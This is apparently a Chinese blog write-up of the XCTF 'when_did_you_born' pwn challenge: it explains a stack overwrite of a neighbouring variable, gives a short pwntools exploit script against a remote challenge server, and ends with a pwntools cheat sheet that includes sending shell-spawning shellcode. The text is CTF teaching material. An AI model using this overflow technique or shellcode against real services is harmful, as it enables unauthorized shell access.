day-5 xctf-when_did_you_born

xctf-when_did_you_born

題目傳送門:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051python

checksec文件:linux

 

 

 

 沒啥,ida打開:shell

 

 第一個判斷v5應該不等於1926,第二次判斷應該等於1926,看到v4,雙擊進入,能夠查看到v5和v4都是同一stack下的,用v4覆蓋v5的位置,實現第二個判斷爲1926。架構

在最上面定義能夠看到,相對偏移爲8。函數

構造exp:spa

from pwn import *



#cnn = process('./when_did_you_born')

cnn = remote('111.198.29.45',33487)



payload = 'a'*8+p64(1926)



cnn.recvuntil('Your Birth?')

cnn.sendline('1926')



cnn.sendline(payload)



cnn.interactive() 

 

運行一下,能夠獲得flag:3d

 

 

總結:唔。。。這是昨天的升級版。code

 

額外小知識:blog

# Pwntools環境預設
from pwn import *
context.arch = "amd64/i386"                             #指定系統架構
context.terminal = ["tmux,"splitw","-h"]     #指定分屏終端
context.os = "linux"                                     #context用於預設環境

# 庫信息
elf = ELF('./PWNME')                        # ELF載入當前程序的ELF,以獲取符號表,代碼段,段地址,plt,got信息
libc = ELF('lib/i386-linux-gnu/libc-2.23.so')     # 載入libc的庫,能夠經過vmmap查看
/*
首先使用ELF()獲取文件的句柄,而後使用這個句柄調用函數,如
>>> e = ELF('/bin/cat')
>>> print hex(e.address)    # 文件裝載的基地址
>>> print hex(e.symbols['write']) # plt中write函數地址
>>> print hex(e.got['write'])     # GOT表中write符號的地址
>>> print hex(e.plt['write'])       # PLT表中write符號的地址                    
*/                                       

# Pwntools通訊                    
p = process('./pwnme')                      # 本地 process與程序交互
r = remote('exploitme.example.com',3333)          # 遠程

# 交互
recv()          # 接收數據,一直接收
recv(numb=4096,timeout=default) # 指定接收字節數與超時時間                    
recvuntil("111")     # 接收到111結束,能夠裁剪,如.[1:4]
recbline()      # 接收到換行結束
recvline(n)     # 接收到n個換行結束
recvall()           # 接收到EOF
recvrepeat(timeout=default) #接收到EOF或timeout
send(data)      # 發送數據
sendline(data)      # 發送一行數據,在末尾會加\n
sendlineafter(delims,data) #   在程序接收到delims再發送data                  
r.send(asm(shellcraft.sh()))                          # 信息通訊交互                                       
r.interactive()                              # send payload後接收當前的shell

# 字符串與地址的轉換
p64(),p32()  #將字符串轉化爲ascii字節流
u64(),u32()  #將ascii的字節流解包爲字符串地址   
相關文章
相關標籤/搜索